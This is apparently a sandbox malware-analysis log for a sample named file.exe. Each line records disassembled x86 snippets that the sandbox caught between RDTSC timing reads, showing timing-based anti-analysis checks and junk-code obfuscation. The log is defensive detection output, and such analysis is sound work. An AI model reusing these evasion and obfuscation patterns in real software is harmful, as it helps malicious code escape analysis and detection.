Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B5BF second address: D4B5C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C118 second address: D4C11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4B5C3 second address: D4B5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C11E second address: D4C123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DA92 second address: D4DAC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B063h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7F8931B067h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DAC3 second address: D4DAC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50697 second address: D5069B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51772 second address: D517EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov bx, ax 0x0000000b sub edi, dword ptr [ebp+122D36FBh] 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F7F8876E1F8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 movsx ebx, dx 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov edi, dword ptr [ebp+122D1D72h] 0x00000042 jmp 00007F7F8876E1FFh 0x00000047 mov eax, dword ptr [ebp+122D15CDh] 0x0000004d sub ebx, dword ptr [ebp+122D1BFAh] 0x00000053 push FFFFFFFFh 0x00000055 mov dword ptr [ebp+122D58E9h], edi 0x0000005b nop 0x0000005c jmp 00007F7F8876E1FBh 0x00000061 push eax 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 push edx 0x00000066 pop edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54591 second address: D54595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5477B second address: D54786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56573 second address: D56577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D56577 second address: D5657D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5657D second address: D565F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F7F8931B056h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F7F8931B060h 0x00000016 jmp 00007F7F8931B05Ah 0x0000001b pop edx 0x0000001c nop 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F7F8931B058h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 movsx edi, di 0x0000003a or bl, 00000000h 0x0000003d push 00000000h 0x0000003f mov bx, dx 0x00000042 mov ebx, dword ptr [ebp+122D58B8h] 0x00000048 push 00000000h 0x0000004a sub ebx, 5B7C747Fh 0x00000050 xchg eax, esi 0x00000051 jmp 00007F7F8931B062h 0x00000056 push eax 0x00000057 jnp 00007F7F8931B068h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D565F7 second address: D565FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574D2 second address: D574FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B068h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F7F8931B056h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574FE second address: D5757E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F7F8876E1F8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 pushad 0x00000026 sub esi, dword ptr [ebp+122D2BDEh] 0x0000002c push edx 0x0000002d movsx ecx, dx 0x00000030 pop edx 0x00000031 popad 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F7F8876E1F8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e mov edi, dword ptr [ebp+122D2DDAh] 0x00000054 push 00000000h 0x00000056 sbb edi, 0CEB06A4h 0x0000005c xchg eax, esi 0x0000005d pushad 0x0000005e pushad 0x0000005f push edi 0x00000060 pop edi 0x00000061 push ecx 0x00000062 pop ecx 0x00000063 popad 0x00000064 push edi 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D583A3 second address: D583A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D583A7 second address: D58456 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E208h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push ecx 0x0000000c jnc 00007F7F8876E1FCh 0x00000012 pop ecx 0x00000013 nop 0x00000014 or dword ptr [ebp+122D1D65h], esi 0x0000001a push 00000000h 0x0000001c jmp 00007F7F8876E205h 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F7F8876E1F8h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 0000001Bh 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d mov edi, dword ptr [ebp+122D1C75h] 0x00000043 xchg eax, esi 0x00000044 pushad 0x00000045 js 00007F7F8876E20Ah 0x0000004b jmp 00007F7F8876E204h 0x00000050 pushad 0x00000051 jns 00007F7F8876E1F6h 0x00000057 jl 00007F7F8876E1F6h 0x0000005d popad 0x0000005e popad 0x0000005f push eax 0x00000060 push ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F7F8876E1FBh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A32B second address: D5A32F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C367 second address: D5C409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7F8876E1FAh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F7F8876E1F8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 movzx edi, di 0x0000002b jnp 00007F7F8876E1FAh 0x00000031 push 00000000h 0x00000033 mov edi, dword ptr [ebp+122D198Ah] 0x00000039 pushad 0x0000003a jns 00007F7F8876E1FCh 0x00000040 pushad 0x00000041 push ebx 0x00000042 pop eax 0x00000043 mov eax, dword ptr [ebp+122D3303h] 0x00000049 popad 0x0000004a popad 0x0000004b push 00000000h 0x0000004d push 00000000h 0x0000004f push ecx 0x00000050 call 00007F7F8876E1F8h 0x00000055 pop ecx 0x00000056 mov dword ptr [esp+04h], ecx 0x0000005a add dword ptr [esp+04h], 00000018h 0x00000062 inc ecx 0x00000063 push ecx 0x00000064 ret 0x00000065 pop ecx 0x00000066 ret 0x00000067 or dword ptr [ebp+122D1D47h], ecx 0x0000006d xchg eax, esi 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F7F8876E209h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C409 second address: D5C440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B064h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F7F8931B068h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C440 second address: D5C445 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5855F second address: D58564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5951F second address: D59524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B5DF second address: D5B5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B5E4 second address: D5B602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jp 00007F7F8876E1F6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jnp 00007F7F8876E1F8h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jnl 00007F7F8876E1F6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F84A second address: D5F84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B602 second address: D5B6CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E208h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F7F8876E1FCh 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F7F8876E1F8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 stc 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007F7F8876E1F8h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 00000016h 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 pushad 0x00000054 mov dword ptr [ebp+122D593Ch], eax 0x0000005a mov edi, dword ptr [ebp+122D20A1h] 0x00000060 popad 0x00000061 jmp 00007F7F8876E207h 0x00000066 mov ebx, dword ptr [ebp+124481ACh] 0x0000006c mov eax, dword ptr [ebp+122D0039h] 0x00000072 jo 00007F7F8876E1F6h 0x00000078 push FFFFFFFFh 0x0000007a jmp 00007F7F8876E1FFh 0x0000007f push eax 0x00000080 pushad 0x00000081 push eax 0x00000082 push edx 0x00000083 jc 00007F7F8876E1F6h 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B6CD second address: D5B6D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B6D1 second address: D5B6DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F7F8876E1F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B6DF second address: D5B6E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D41A second address: D5D420 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D420 second address: D5D42A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F8931B05Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D42A second address: D5D4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 ja 00007F7F8876E1F8h 0x0000000e pop ecx 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F7F8876E1F8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push dword ptr fs:[00000000h] 0x00000031 jp 00007F7F8876E1FBh 0x00000037 mov edi, 510899E5h 0x0000003c call 00007F7F8876E205h 0x00000041 mov dword ptr [ebp+122D1E81h], ecx 0x00000047 pop edi 0x00000048 mov dword ptr fs:[00000000h], esp 0x0000004f jmp 00007F7F8876E1FBh 0x00000054 mov eax, dword ptr [ebp+122D071Dh] 0x0000005a mov ebx, edi 0x0000005c push FFFFFFFFh 0x0000005e jnp 00007F7F8876E1FCh 0x00000064 nop 0x00000065 push esi 0x00000066 jnc 00007F7F8876E1FCh 0x0000006c pop esi 0x0000006d push eax 0x0000006e pushad 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5FA3B second address: D5FA3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60A42 second address: D60A4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00B79 second address: D00B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00B7F second address: D00B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67297 second address: D672A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D672A1 second address: D672A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D672A7 second address: D672AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D672AB second address: D672B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D672B4 second address: D672BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D672BA second address: D672C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D676E1 second address: D676E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D676E6 second address: D676F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jc 00007F7F8876E1FEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E5CF second address: D6E5FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jp 00007F7F8931B056h 0x00000017 popad 0x00000018 pop ecx 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7F8931B05Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E5FB second address: D6E600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E6EB second address: D6E6F0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D757B7 second address: D757BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D757BB second address: D757C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76057 second address: D7605C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D762F7 second address: D762FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D762FB second address: D762FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D762FF second address: D76305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76305 second address: D76319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F7F8876E1FAh 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76319 second address: D7632F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B062h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D765A3 second address: D765A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D765A9 second address: D765AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D765AF second address: D765C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8876E205h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D765C9 second address: D765DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7F8931B056h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D765DB second address: D765DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7671C second address: D76725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76725 second address: D76729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D375 second address: D7D399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7F8931B056h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7F8931B061h 0x00000012 jne 00007F7F8931B056h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D399 second address: D7D3B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007F7F8876E1F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jc 00007F7F8876E204h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BE39 second address: D7BE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BE46 second address: D7BE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BF8F second address: D7BF99 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7F8931B056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BF99 second address: D7BFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7F8876E206h 0x0000000c jmp 00007F7F8876E200h 0x00000011 jmp 00007F7F8876E200h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BFD9 second address: D7BFDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BFDF second address: D7BFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BFE5 second address: D7BFEB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C152 second address: D7C156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C156 second address: D7C168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B05Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C168 second address: D7C175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C175 second address: D7C18E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B065h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C18E second address: D7C1A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E205h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C1A7 second address: D7C1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C1AD second address: D7C1B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C1B4 second address: D7C1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B065h 0x00000009 popad 0x0000000a pushad 0x0000000b jng 00007F7F8931B056h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
